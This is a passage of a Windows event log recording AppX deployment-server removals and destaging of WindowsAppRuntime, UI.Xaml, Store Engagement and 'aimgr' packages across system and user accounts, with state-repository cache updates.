Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.009\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.010\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.029\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.033\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.034\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.048\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.049\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.062\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.093\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.096\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.102\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_48.rslc for Remove Operation on Package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.104\t607\tDeployment Remove operation on package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.104\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.106\t627\tWindows cannot remove Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.112\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_49.rslc for Remove Operation on Package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.114\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.120\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_50.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.122\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.122\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.125\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.130\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_51.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.131\t607\tDeployment Remove operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1007.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.132\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.134\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.147\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.166\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.168\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.186\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.189\t607\tDeployment Remove operation on package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.193\t627\tWindows cannot remove Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.209\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.211\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.227\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.230\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.233\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.237\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: aimgr_0.20.61.0_x64__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.268\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.271\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.290\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.339\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.340\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1007.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.377\t400\tDeployment Remove operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:  (aimgr_0.20.61.0_x64__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.397\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.404\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.409\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_52.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.412\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.412\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.413\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.417\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_53.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.420\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.425\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_54.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.428\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.431\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.432\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.432\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_55.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.434\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.435\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.436\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.440\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_56.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.443\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.446\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.447\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_57.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.448\t607\tDeployment Remove operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1009.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.469\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: aimgr_0.20.61.0_x64__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.475\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.477\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.491\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.494\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.495\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.509\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.510\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.524\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.528\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.531\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.547\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.549\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.565\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.568\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.570\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.585\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.586\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.601\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.605\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.606\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.624\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.626\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.654\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.655\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1009.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.691\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.695\t400\tDeployment Remove operation with target volume C: on Package aimgr_0.20.61.0_x64__8wekyb3d8bbwe from:  (aimgr_0.20.61.0_x64__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.714\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:50.719\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.725\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_58.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.726\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.727\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.728\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.732\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_59.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.734\t607\tDeployment Remove operation on package aimgr_0.20.61.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1003.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:50.748\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: aimgr_0.20.61.0_x64__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe 